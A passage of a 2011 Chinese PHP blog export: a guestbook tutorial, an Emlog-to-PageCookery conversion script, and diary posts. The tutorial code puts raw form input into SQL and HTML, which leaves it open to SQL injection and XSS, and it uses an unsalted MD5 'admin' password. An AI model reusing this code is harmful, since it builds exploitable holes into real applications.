utf8_unicode_ci NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ; -- -- 表的结构 `user` -- CREATE TABLE IF NOT EXISTS `user` ( `id` int(10) NOT NULL AUTO_INCREMENT, `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- -- 转存表中的数据 `user` -- INSERT INTO `user` (`id`, `username`, `password`) VALUES (1, \u0026#39;admin\u0026#39;, \u0026#39;21232f297a57a5a743894a0e4a801fc3\u0026#39;); 2.用户数据的提交和写入数据库\r上面说了，数据的交互我们需要用到表单，所以要新建立一个表单，代码如下:\n\u0026lt;form method=\u0026#34;POST\u0026#34; action=\u0026#34;action.php?act=post\u0026#34;\u0026gt; \u0026lt;?php if (!$_SESSION[\u0026#39;login\u0026#39;]) { ?\u0026gt; 昵称:\u0026lt;input name=\u0026#34;username\u0026#34; id=\u0026#34;username\u0026#34; class=\u0026#34;username\u0026#34; type=\u0026#34;text\u0026#34; value=\u0026#34;\u0026lt;?php echo $_COOKIE[\u0026#39;gbook_name\u0026#39;]; ?\u0026gt;\u0026#34;\u0026gt; 邮箱:\u0026lt;input name=\u0026#34;email\u0026#34; id=\u0026#34;email\u0026#34; class=\u0026#34;email\u0026#34; type=\u0026#34;text\u0026#34;value=\u0026#34;\u0026lt;?php echo $_COOKIE[\u0026#39;gbook_email\u0026#39;]; ?\u0026gt;\u0026#34;\u0026gt; 网站:\u0026lt;input name=\u0026#34;website\u0026#34; id=\u0026#34;website\u0026#34; class=\u0026#34;website\u0026#34; type=\u0026#34;text\u0026#34; value=\u0026#34;\u0026lt;?php echo $_COOKIE[\u0026#39;gbook_website\u0026#39;]; ?\u0026gt;\u0026#34;\u0026gt; \u0026lt;textarea name=\u0026#34;content\u0026#34; id=\u0026#34;content\u0026#34; class=\u0026#34;content\u0026#34; rows=\u0026#34;5\u0026#34;\u0026gt;\u0026lt;/textarea\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;确认\u0026#34;\u0026gt; \u0026lt;span style=\u0026#34;font-size:12px;display:block;color:#CCC;float:right;\u0026#34;\u0026gt;你可以使用的标签有：\u0026amp;lt;a\u0026amp;gt;,\u0026amp;lt;img\u0026amp;gt;,\u0026amp;lt;p\u0026amp;gt;,\u0026amp;lt;br\u0026amp;gt;,\u0026amp;lt;b\u0026amp;gt;\u0026lt;/span\u0026gt; \u0026lt;/form\u0026gt; 如代码所示，如上我们就能够通过$_POST['username'],$_POST['email'],$_POST['website'],$_POST['content']分别获取用户的昵称，邮箱和网址已经留言内容等信息。这些信息的接受文件是action.php，那么我们需要在action.php中写入数据库的相关操作。(实例代码中将许多表单中的操作放到一个文件中了，为了代码的方便，所以添加了switch选择函数，而选择的对象则是通过GET方法从URL中获取的)\nif (!$_SESSION[\u0026#39;login\u0026#39;]) {//判断用户是否登录，如果没登录执行以下操作 $username = $_POST[\u0026#39;username\u0026#39;];//赋值 setcookie(\u0026#39;gbook_name\u0026#39;,$username,time()+ 604800);//设置COOKIE $email = $_POST[\u0026#39;email\u0026#39;]; setcookie(\u0026#39;gbook_email\u0026#39;,$email,time()+ 604800); $website = $_POST[\u0026#39;website\u0026#39;]; setcookie(\u0026#39;gbook_website\u0026#39;,$website,time()+ 604800); } else {//登录的话执行以下操作 $user = sql_query (\u0026#39;SELECT * FROM user WHERE username = \u0026#34;admin\u0026#34;\u0026#39;);//读取用户数据 $user = mysql_fetch_object($user);//对取得的数据进行格式化 $username = $user -\u0026gt; nickname;//赋值管理员昵称 $email = $user -\u0026gt; email; $website = $user -\u0026gt; url; } $content = $_POST[\u0026#39;content\u0026#39;]; $ip = getip();//通过getip函数获取用户IP $geo = user_ip($ip);//通过user_ip函数对IP地址进行解析，得到详细地质 if ($geo = \u0026#34;\u0026#34;) { $geo = \u0026#34;火星\u0026#34;;//如果没IP或解析不到则显示为火星 } $agent = $_SERVER[HTTP_USER_AGENT];//记录使用者的操作系统信息 if ($username !==\u0026#34;\u0026#34; \u0026amp;\u0026amp; $content !== \u0026#34;\u0026#34; ) {//如果昵称和留言内容都不为空则执行以下内容 $post_time = time();//获取时间 $content = strip_tags($content,\u0026#39;\u0026lt;br\u0026gt;\u0026lt;p\u0026gt;\u0026lt;/p\u0026gt;\u0026lt;img\u0026gt;\u0026lt;a\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;b\u0026gt;\u0026lt;/b\u0026gt;\u0026#39;);//对留言内容进行格式化 $insert_sql = \u0026#34;INSERT INTO entry (id, username, content, time, email, website, agent, ip, geo) VALUES (\u0026#39;\u0026#39;,\u0026#39;$username\u0026#39;,\u0026#39;$content\u0026#39;,\u0026#39;$post_time\u0026#39;,\u0026#39;$email\u0026#39;,\u0026#39;$website\u0026#39;,\u0026#39;$agent\u0026#39;,\u0026#39;$ip\u0026#39;,\u0026#39;$geo\u0026#39;)\u0026#34;; sql_query($insert_sql);//将留言内容写入数据库 header(\u0026#39;Location:index.php\u0026#39;);//跳转回首页 } else {//如果昵称和留言内容二者有一个为空则执行以下语句 echo \u0026#34;\u0026lt;script\u0026gt;alert(\u0026#39;昵称和留言内容是必须要填写的！\u0026#39;);\u0026lt;/script\u0026gt;\u0026#34;; } 我为这段代码进行了详细的解释，大家应该都能看的懂了。这里需要注意的是读取出来的SQL信息首先都必须对其进行格式化，可以选择的格式化函数有mysql_fetch_object,mysql_fetch_array等，这里选择了第一个。格式化后的信息就可以通过“信息 -\u003e 字段名”的方式来获取相应字段的内容。\r3.显示留言内容\r通过对entry表进行SELECT读取操作显示最近的留言，整体的代码如下：\n\u0026lt;ul class=\u0026#34;entry\u0026#34;\u0026gt; \u0026lt;?php $entrys = get_entry_by_page($perpage);//通过自定义了函数来根据页面来显示内容，达到分页效果（这个函数在后面会讲） while ($entry = mysql_fetch_object($entrys)) {//while循环执行读取格式化后的日志工作 ?\u0026gt; \u0026lt;li id=\u0026#34;entry\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;avatar\u0026#34;\u0026gt; \u0026lt;img src=\u0026#34;\u0026lt;?php echo getavatar($entry -\u0026gt; email);/*根据留言者的邮箱获取他的Gravatar头像*/ ?\u0026gt;\u0026#34; alt=\u0026#34;\u0026lt;?php echo $entry -\u0026gt; username; ?\u0026gt;\u0026#34;\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;top\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;username\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;\u0026lt;?php echo $entry -\u0026gt; website; ?\u0026gt;\u0026#34; target=\u0026#34;_blank\u0026#34; alt=\u0026#34;\u0026lt;?php echo $entry -\u0026gt; username; ?\u0026gt;\u0026#34;\u0026gt;\u0026lt;?php echo $entry -\u0026gt; username;?\u0026gt;\u0026lt;/a\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;information\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;geo\u0026#34;\u0026gt;来自\u0026lt;?php echo $entry -\u0026gt; geo; ?\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;agent\u0026#34;\u0026gt;\u0026lt;?php echo user_agent($entry -\u0026gt; agent); ?\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;content\u0026#34;\u0026gt;\u0026lt;?php echo nl2br($entry -\u0026gt; content);/*nl2br是将换行变成\u0026lt;br\u0026gt;的函数,不需要太多了解*/ ?\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;time\u0026#34;\u0026gt;发表于\u0026lt;?php echo time_past($entry -\u0026gt; time);/*通过自定义函数对Unix时间戳进行格式化并得到距离现在的时间*/ ?\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;span class=\u0026#34;rep\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;#\u0026#34; onclick=\u0026#34;inser(\u0026#39;@\u0026lt;?php echo $entry -\u0026gt; username; ?\u0026gt;\u0026amp;nbsp;\u0026#39;);return false;\u0026#34;\u0026gt;[回]\u0026lt;/a\u0026gt; \u0026lt;?php if ($_SESSION[\u0026#39;login\u0026#39;]) { /*如果登录则执行以下代码*/?\u0026gt; \u0026lt;span class=\u0026#34;del\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;action.php?act=del\u0026amp;id=\u0026lt;?php echo $entry -\u0026gt; id; ?\u0026gt;\u0026#34;\u0026gt;[删]\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;?php } ?\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;?php } ?\u0026gt; \u0026lt;/ul\u0026gt; 通过上一小节的学习，我想大家对上面这段代码应该基本上能懂了，我就不多做解释了。\n5.分页效果的制作\r其实分页就是考察你的计算能力，假如你每页显示10条内容，则你第i页显示的消息起始数为第[(i-1)*10+1]条，而第i页我们可以利用GET方法从URL地址中获取。通过ORDER BY 能够对数据进行顺序排列，而ORDER BY DESC能够对数据进行倒序排列。再添加上LIMIT a,b就可以自定义从数据的第a条开始取，一直取b条出来。创建成自定义函数之后就变成了\nfunction get_entry_by_page($perpage) { if ($_GET[\u0026#39;page\u0026#39;] == \u0026#34;\u0026#34;) {//设置当前页的默认值为1 $_GET[\u0026#39;page\u0026#39;] = 1;\t} $page = $_GET[\u0026#39;page\u0026#39;]; $start_entry = ($page - 1) * $perpage;//$prepage为你设置的每页显示的条数 $entrys = sql_query(\u0026#39;SELECT * FROM entry ORDER BY time DESC LIMIT \u0026#39; . $start_entry . \u0026#39;, \u0026#39; . $perpage); return $entrys;\t} 除了做内容的分页，我们还需要做一个翻页的按钮才行，这个也是基本的计算问题，你们可以尝试的去理解一下。\nfunction pages($perpage) { $count = sql_query(\u0026#34;SELECT COUNT(id) AS total FROM entry\u0026#34;); $count = mysql_fetch_object($count); $count = $count -\u0026gt; total;//获取总条数 if ($count%$perpage == 0) { $page_total = intval($count/$perpage);\t} else { $page_total = intval($count/$perpage) + 1;\t}//获取总页数 if ($_GET[\u0026#39;page\u0026#39;] == \u0026#34;\u0026#34;) { $_GET[\u0026#39;page\u0026#39;] = 1;\t} $page_class = \u0026#39;page\u0026#39;; echo \u0026#39;\u0026lt;span class=\u0026#34;pages\u0026#34;\u0026gt;\u0026#39;; if ($_GET[\u0026#39;page\u0026#39;] != 1) { $pre_page = $_GET[\u0026#39;page\u0026#39;] - 1; echo \u0026#39;\u0026lt;span class=\u0026#34;\u0026#39; . $page_class . \u0026#39;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;index.php?page=\u0026#39; . $pre_page . \u0026#39;\u0026#34;\u0026gt;\u0026amp;laquo;上一页\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\u0026#39;;\t} if ($page_total \u0026lt;= 5 ) { for ($i=1;$i \u0026lt;= $page_total;$i++) { echo \u0026#39;\u0026lt;span class=\u0026#34;\u0026#39; . $page_class . \u0026#39;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;index.php?page=\u0026#39; . $i . \u0026#39;\u0026#34;\u0026gt;\u0026#39; . $i . \u0026#39;\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\u0026#39;;\t}\t} else { for ($i=1;$i \u0026lt;= 5;$i++) { echo \u0026#39;\u0026lt;span class=\u0026#34;\u0026#39; . $page_class . \u0026#39;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;index.php?page=\u0026#39; . $i . \u0026#39;\u0026#34;\u0026gt;\u0026#39; . $i . \u0026#39;\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\u0026#39;;\t}\techo \u0026#34;...\u0026#34;; echo \u0026#39;\u0026lt;span class=\u0026#34;\u0026#39; . $page_class . \u0026#39;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;index.php?page=\u0026#39; . $page_total . \u0026#39;\u0026#34;\u0026gt;\u0026#39; . $page_total . \u0026#39;\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\u0026#39;;\t} if ($_GET[\u0026#39;page\u0026#39;] != $page_total ) { $next_page = $_GET[\u0026#39;page\u0026#39;] + 1; echo \u0026#39;\u0026lt;span class=\u0026#34;\u0026#39; . $page_class . \u0026#39;\u0026#34;\u0026gt;\u0026lt;a href=\u0026#34;index.php?page=\u0026#39; . $next_page . \u0026#39;\u0026#34;\u0026gt;下一页\u0026amp;raquo;\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt;\u0026#39;;\t} echo \u0026#39;\u0026lt;/span\u0026gt;\u0026#39;; } 6.管理员的登录\r对这个功能编写前，你们必须了解SESSION的相关知识，如果不知道请点这里我们对用户提交过来的用户名和密码进行校验，如果匹配就把$_SESSION['login']赋值为真（true）,否则就告诉用户登录失败。密码是采用md5加密方法存储到数据库里面的。详细代码可以参看login.php文件已经action.php文件。\n5.总结\r本篇文章知识草草的从我的角度上编写了一个简单的教程，对某些简单的问题可能讲的过于繁琐，当然可能对某些复杂的问题避而不讲。所以大家在遇到不懂的问题的时候，希望能够善于利用搜索引擎来帮助自己更好的理解这篇文章。按照步骤来基本上不会出什么错，如果有出错了，首先一定要记得检查一下是不是你的书写有问题，是不是少了一个s，或者是少了一个;等等。\n本文章中的专业性知识的讲解部分是引用自W3school。W3school是一个不错的网络入门学习网站，推荐大家去看一看。\n","count":5963,"date":"2011年03月06日","featuredImage":null,"permalink":"https://imnerd.org/create-guestbook.html","summary":"\u003cul style=\"float:right;border:1px solid black;padding:0 20px;\"\u003e\r\n  \t\u003cli id=\"name\" style=\"font-weight:bold;\"\u003e目录\u003c/li\u003e\r\n  \t\u003cli\u003e1.\u003ca href=\"#document\"\u003e文件结构\u003c/a\u003e\u003c/li\u003e\r\n  \t\u003cli\u003e2.\u003ca href=\"#php_function\"\u003ePHP函数\u003c/a\u003e\u003c/li\u003e\r\n  \t\u003cli\u003e3.\u003ca href=\"#sql\"\u003e表单和数据库操作\u003c/a\u003e\u003c/li\u003e\r\n  \t\u003cli\u003e4.\u003ca href=\"#guestbook\"\u003e功能实现\u003c/a\u003e\u003c/li\u003e\r\n  \t\u003cli\u003e5.\u003ca href=\"#zj\"\u003e总结\u003c/a\u003e\u003c/li\u003e\r\n\u003c/ul\u003e\r\n\u003cp\u003e网络上各种各样的PHP教程和各种各样的留言板都是铺天盖地的，战地为什么要自己写一个这样的PHP留言板教程呢？问的好啊！鼓掌。首先战地写这个PHP教程的目的不是为了做一个留言板，如果你需要一个留言板的话我建议你去Google搜索一下免费的、功能强大的、功能齐全的、 漂亮的到处都是。目的是：从一个简单的实际的案例出发，来让想学习PHP的兄弟姐妹们进入PHP的世界。需要说明的是，既然是实际的案例教程，各种各样的知识都会涉及到（以保证各位遇到更多的问题），阅读这个教程的时候你最好了解一点Html和 javascript的知识，因为在教程中将不作为重点来说。因为我们是PHP教程。\u003c/p\u003e","time":12,"title":"公子手把手教你写留言板程序"},{"comments":{"data":[9],"errmsg":"","errno":0},"contents":"\rN久之前有某位同学给我发邮件让我帮忙写一个emlog碎语转PageCookery的数据库转换程序。虽然没有什么技术，但感觉这东西还是有些思路的，就接下来了。在卜卜口の君的帮助下，也算是有模有样的写出来了。并且拿了一个emlog的碎语数据库做过测试，因为他的内容多且杂，应该能代表广大群众的了。所以特地分享出来，希望能帮助一些同学。\n将下列代码保存成covertopc.php，然后上传到emlog程序的根目录访问即可得到转换代码。本来想写成下载文件下载成SQL文件然后让用户自己导入的。我想直接代码也不还是PHPMYADMIN，于是就没多做操作了。虽然我做了测试，但不代表一定没有问题，欢迎使用中有问题的同学和我交流，最后说明问题的时候能发一份你的碎语数据库文件到我的邮箱里头。我的邮箱是i#imnerd.org\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Emlog碎语转PageCookery程序 \u0026lt;/title\u0026gt; \u0026lt;meta http-equiv=\u0026#34;Content-Type\u0026#34; content=\u0026#34;text/html; charset=utf-8\u0026#34;\u0026gt; \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; textarea {width:100%;height:200px;} form {width:400px;} button {float:right;} #footer {width:100%;text-align:center;position:fixed;bottom:0px;} \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;?php require_once \u0026#39;config.php\u0026#39;; //连接数据库 function mysql_run($sqlcon){ $con=mysql_connect(DB_HOST, DB_USER,DB_PASSWD); mysql_select_db(DB_NAME); mysql_query(\u0026#34;SET NAMES \u0026#39;utf8\u0026#39;\u0026#34;); $result = mysql_query($sqlcon); mysql_close($con); return $result; } ?\u0026gt; \u0026lt;p\u0026gt;复制下列代码并在phpMyadmin中执行即可\u0026lt;a href=\u0026#34;https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimg1.dnschina.net%2Ffiles%2F68%2Finsert_into_sql.png\u0026#34; target=\u0026#34;_blank\u0026#34; style=\u0026#34;font-size:12px;\u0026#34;\u0026gt;不懂请看图\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;textarea\u0026gt; \u0026lt;?php $content = mysql_run(\u0026#39;SELECT * FROM \u0026#39; . DB_PREFIX . \u0026#39;twitter\u0026#39;); while($entry=mysql_fetch_object($content)){ echo \u0026#34;INSERT INTO `entry` VALUES \u0026#34;; echo \u0026#34;(\u0026#39;\u0026#39;,1,\u0026#39;\u0026#34; . htmlspecialchars( str_replace(\u0026#39;\\\\\u0026#39;,\u0026#39;\u0026#39;,$entry -\u0026gt; content) , ENT_QUOTES ) . \u0026#34;\u0026#39;,\u0026#34; . $entry -\u0026gt; date . \u0026#34;,\u0026#39;Emlog\u0026#39;,\u0026#34; . $entry -\u0026gt; author . \u0026#34;);\u0026#34;; } ?\u0026gt; \u0026lt;?php $re = mysql_run(\u0026#39;SELECT * FROM \u0026#39; . DB_PREFIX . \u0026#39;reply\u0026#39;); while($reply =mysql_fetch_object($re)){ echo \u0026#34;INSERT INTO `reply` VALUES\u0026#34;; echo \u0026#34;(\u0026#39;\u0026#39;,\u0026#34; . $reply -\u0026gt; tid .\u0026#34;,\u0026#39;Great Fire Wall\u0026#39;, \u0026#39;\u0026#34; . $reply -\u0026gt; ip . \u0026#34;\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; content . \u0026#34;\u0026#39;,\u0026#34; . $reply -\u0026gt; date . \u0026#34;,\u0026#39;0\u0026#39;,\u0026#39;\u0026#34; . $reply -\u0026gt; name . \u0026#34;\u0026#39;);\u0026#34;; } ?\u0026gt; \u0026lt;/textarea\u0026gt; \u0026lt;p style=\u0026#34;margin-top:15px;color:#AAA;\u0026#34;\u0026gt; 友情提示：\u0026lt;br\u0026gt; 1.请确定你是在PageCookery的表中执行代码，并确保PageCookery已经安装，即存在entry和reply两个表。\u0026lt;br\u0026gt; 2.部分对数据库架构进行过变动的用户可能会导入失败，请修改相关代码后再进行导入。\u0026lt;br\u0026gt; 3.导入前请将原数据库进行备份，以免发生意外损失。 \u0026lt;/p\u0026gt; \u0026lt;div id=\u0026#34;footer\u0026#34;\u0026gt;Powered By \u0026lt;a href=\u0026#34;https://imnerd.org\u0026#34;\u0026gt;怡红公子\u0026lt;/a\u0026gt; | 欢迎报告 \u0026lt;a href=\u0026#34;mailto:i@imnerd.org\u0026#34;\u0026gt;BUG\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;body\u0026gt; \u0026lt;/html\u0026gt; ","count":865,"date":"2011年02月26日","featuredImage":null,"permalink":"https://imnerd.org/emlog-convert-to-pc.html","summary":"\u003c!-- \u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]1973-James Blunt#playID:-6797[/]\"\u003e[1g1g]1973-James Blunt#playID:-6797[/]\u003c/a\u003e --\u003e\r\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769201716\"\u003e\u003c/iframe\u003e\r\n\u003cp\u003eN久之前有某位同学给我发邮件让我帮忙写一个emlog碎语转PageCookery的数据库转换程序。虽然没有什么技术，但感觉这东西还是有些思路的，就接下来了。在卜卜口の君的帮助下，也算是有模有样的写出来了。并且拿了一个emlog的碎语数据库做过测试，因为他的内容多且杂，应该能代表广大群众的了。所以特地分享出来，希望能帮助一些同学。\u003c/p\u003e","time":2,"title":"Emlog碎语转换到PageCookery"},{"comments":{"data":[6],"errmsg":"","errno":0},"contents":" 我还是忍不住把主站换成了Typecho了，换成Typecho的原因仅仅是喜欢Google Pretty插件的代码高亮效果。为了保存主站的链接，花了点时间把主站换了一颗心。\n转换的过程比较简单，重要的是做好备份。Typecho的WordPress To Typecho插件做的非常的棒，基本上能完美的转换数据库。而更令我欣喜的是，之前我都是使用Synatx来代码高亮的，没想到的是Google Pretty也无缝衔接上了。这让我省了不少的麻烦。\n利用这个时间逐一的看了一下以前的文章，发现较早的文章配图都失效了，到时候做一下清理吧。主题暂时用着自己仿的Typecho主题。等什么时候有心情了再把http://blog.imnerd.org换成WordPress就OK了~不过还是挺舍不得之前的WordPress的，Simple Forum里头几篇转载的文章给我还是带来了不少的流量的。\n","count":383,"date":"2011年02月24日","featuredImage":null,"permalink":"https://imnerd.org/change-to-typecho.html","summary":"\u003c!-- \u003ca href=\"#MiniPlay1g1gCode\" title=\"[1g1g]天空之城-钢琴曲#playID:-3900[/]\"\u003e[1g1g]天空之城-钢琴曲#playID:-3900[/]\u003c/a\u003e --\u003e\n\u003ciframe frameborder=\"no\" border=\"0\" marginwidth=\"0\" marginheight=\"0\" width=\"750\" height=\"110\" loading=\"lazy\" sandbox=\"allow-popups allow-scripts allow-same-origin\" src=\"https://www.xiami.com/webapp/embed-player?autoPlay=1\u0026id=1769319253\"\u003e\u003c/iframe\u003e\n\u003cp\u003e我还是忍不住把主站换成了Typecho了，换成Typecho的原因仅仅是喜欢Google Pretty插件的代码高亮效果。为了保存主站的链接，花了点时间把主站换了一颗心。\u003c/p\u003e","time":1,"title":"把主站换成Typecho了"},{"comments":{"data":[7],"errmsg":"","errno":0},"contents":" 作为2.14还单身的广大群众的一员，哥哥本来想跟互联网双宿双飞的，可是正当我在非常人研究所跟某些非正常人聊的很HAPPY的时候，你妈坑爹的事情发生了！这简直不是人能干得出来的事情啊，他妈的我居然断网了T_T!这你妈不是坑爹么！T_T而且多次尝试结果失败告终\u0026hellip;\n宽带连接错误号651\u0026hellip;第一反应咱应该是先去查查话费看看有没有欠费。恩，老样子利用我的诺记手机上网去，以那坑爹的网速登上中国电信的官网「喂喂，电信你就不能少往页面上方点东西么！」查询发现咱还剩30多块钱呢！然后是+∞次的重复连接网络。算了算了，还是打一萬号吧，话说最近不是有个扣扣企业客服么，咱去玩一玩呗！(@ο@)\n我满心欢喜还以为那边待会会打个电话给我回复啥子呢，等了两到三分钟，洛洛同学催我还是老老实实的去打壹万号吧\u0026hellip;「PS:我一直在用诺记连着网Gtalk呢！电信不收我还有移动啊！」咨询完毕的结果还是他妈的坑爹，让我多次插拔网线或者重启一下路由器。我插拔你的菊花要不要？= =|||恩，粗话了，自重自重！话说电信技术客服居然是男银诶，我自重自重～而且声音还蛮好听的～「喂！你不是说了要自重了嘛！」好的，继续飘走\u0026hellip;\n上面其实都是废话.正题来啦，其实本人认为，聊天过程中给断网了，检查了线路没有问题，那绝对他妈的就是老天故意要来糟践我！所以一般碰上这样的问题我会等待恰当的时间恰当的地点恰当的人「人就我一个，不恰当也得恰当！！」，所以我果断的决定等等等等等！没错，就是等～每隔半个小时测试一次。本来说没网了吧来调试一下主题，看看PDF的，结果他妈的这坑爹的鼠标拿着就不想折腾！回滚太他妈严重了T_T结果看PDF方向键，网页什么的更是无力啊。前两天买的无线鼠标怎么还不到货啊，郁闷！_\n_昨儿个晚上把《国王的演讲》看完了，结果十点钟左右我就去床上困觉困觉困觉困觉了！这就是老天糟践我的后果，恩，怎么说呢，其实挺好的，~~~///(^v^)~~~早上起来就试了一下网络，果然你妈的给我坑爹啊！就能连上了T_T这太坑爹了！初步调试了一下发现有可能是水晶头的问题，可是昨儿个你怎么就不给我好上啊！果然是老天在糟践我啊。\n没事，哥哥我被糟践的还不够多么，没有最坑爹只有更坑爹，谨以此坑爹的流水文献给我那坑爹的网线！\n","count":955,"date":"2011年02月15日","featuredImage":null,"permalink":"https://imnerd.org/the-most-fuck-day.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#382459\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cp\u003e作为2.14还单身的广大群众的一员，哥哥本来想跟互联网双宿双飞的，可是正当我在非常人研究所跟某些非正常人聊的很HAPPY的时候，你妈坑爹的事情发生了！这简直不是人能干得出来的事情啊，他妈的我居然断网了T_T!这你妈不是坑爹么！T_T而且多次尝试结果失败告终\u0026hellip;\u003c/p\u003e","time":2,"title":"如果这都不坑爹还有什么不坑的！"},{"comments":{"data":[2],"errmsg":"","errno":0},"contents":" 额，初八的时候把表姐送走了，终于没人用PPS和我抢网速了！当我三国杀还没HIGH到顶的时候，老二老师打电话来说他们已经开始补课了！结果妈妈和老师商量了一下就决定初九就走了T_T！这给我的打击实在是太大了，本来能过完元宵再走了，结果给我提前了一个星期！这个打击我实在是难以接受，心情低落的同时不停地埋怨老二怎么能连开学的时间都不记住！但是走还是要走的，超舍不得家里啊！_\n_于是妈妈忙开了，上次说妈妈做的那个腌菜比较好吃，结果妈妈把剩下的全炒给我了~~！妈妈说别人出去都是装大鱼大肉，我出去结果给带了一大包的腌菜= =||昨天也不管身上的过敏了把剩下的一些螃蟹都吃光了，最终的结果是到学校乐身上还有好多的包包T_T！看明天要不要去买点过敏药去。我的东西都少，重要的电脑包肯定是少不了，其它的都没什么了。收拾了一下就睡觉觉去了。\n早上早早的(相较于我放假的时间)就起来了，坐车到金华火车站。这次让老二学着买火车票，比较幸运的是有座诶！话说今年寒假真幸运，上次回家虽然没座但是车厢也是空空如也，这会还买到了座票，更是高兴！话说现在到一个地方就有一个癖好，就是拿出我的touch搜索一下是否有wifi信号。结果这次还真给我搜到了一个，CMCC，中国移动的。进去之后发现是中国移动“随e行”的接入点，看了下资费，0.05元/分钟，还有包天和包周的。我想着就那么一会儿，半个小时也就1.5元，就直接没选了0.05元/分钟的，结果开始选错了选了包周，收到短信。后来改过来了再确定就怎么也收不到短信了\u0026hellip;哎！天不随我！不过后来想想用手机上网不也这个价钱么(我没包全国漫游的GPRS套餐)，于是果断拿出手机小上了一下网。不过也就是去街旁签了个到而已。\n话说在金华火车站上了个厕所，结果拍到了这些个东东。厕所果然是各种精髓所在啊，第一张比较可怕，居然连复仇都有，吓死我了都。这几个中尤以第四张最恶搞。4的2)处有用笔写着异(同)性服务，同字给划掉了。从顺序上来看应该是先写上去然后叉掉的，作为第一次在大庭广众下提供同性服务的，我表示非常的惊讶，虽然被叉掉了。不过更加高效的是4的1)处原本是写着帅哥二字，结果被人改成了蟋帅的哥哥，哈哈哈哈！而且从笔迹上来看，很有可能就是4的2)的作者干的，看样子做这行的竞争也很大啊！\n这次做的火车也比较恶搞，本来下午1:11的火车，结果提示牌上写着晚点至1:10\u0026hellip;汗，你这是晚点还是提前啊！火车上座位也挺空的，鉴于我和老二老三的座位不连号，我们还是无耻的做到了一块~~嘿嘿！到了学校已经七点多了，让老二收拾了一下东西，下了点面条给他们作晚饭。让他们洗洗睡了。\n话说在家的时候看老妈借别人家的缝纫机缝补衣服，心里萌生了帮妈妈买一个缝纫机的念头。我这人有个毛病，不太喜欢用别人的东西，能用自己的尽量用自己的，当然同时我也不喜欢别人用我的东西。淘宝上搜了一下，还真有几个，鉴于春节期间快递不通，其实主要原因是支付宝没钱，就没有继续下去。另外上次老妈看我的无线鼠标很新奇很高兴，就把我的无线鼠标让给她了。不过我之前的这个有线的真实超不好用啊T_T!必须果断去买过一个无线鼠标去！话说老妈那个摩托罗拉手机连接电脑的USB线也坏了，我也只带了一根过去，虽然接口有点坏，不过还是能用的，也给老妈去了！哈哈！偶真是好孩子~~\n刚才小洛说我一回学校就原形毕露，到现在还不去睡觉。我说没人管了么，当然晚睡点！结果小洛洛无奈的去睡觉去了，哈哈哈哈！\n","count":1427,"date":"2011年02月11日","featuredImage":null,"permalink":"https://imnerd.org/come-back-school-2011.html","summary":"\u003c!-- \u003ciframe src=\"http://imnerd.org/usr/plugins/XiaMiPlayer/jplayer/index.html#2094019\" style=\"width:255px;height:35px;\" frameborder=\"0\" scrolling=\"no\"\u003e\u003c/iframe\u003e --\u003e\n\u003cblockquote\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e额，初八的时候把表姐送走了，终于没人用PPS和我抢网速了！当我三国杀还没HIGH到顶的时候，老二老师打电话来说他们已经开始补课了！结果妈妈和老师商量了一下就决定初九就走了T_T！这给我的打击实在是太大了，本来能过完元宵再走了，结果给我提前了一个星期！这个打击我实在是难以接受，心情低落的同时不停地埋怨老二怎么能连开学的时间都不记住！但是走还是要走的，超舍不得家里啊！_\u003c/p\u003e","time":3,"title":"我就已经回学校了"},{"comments":{"data":[9],"errmsg":"","errno":0},"contents":" 不解释，传送门:http:/PageCookery.tk 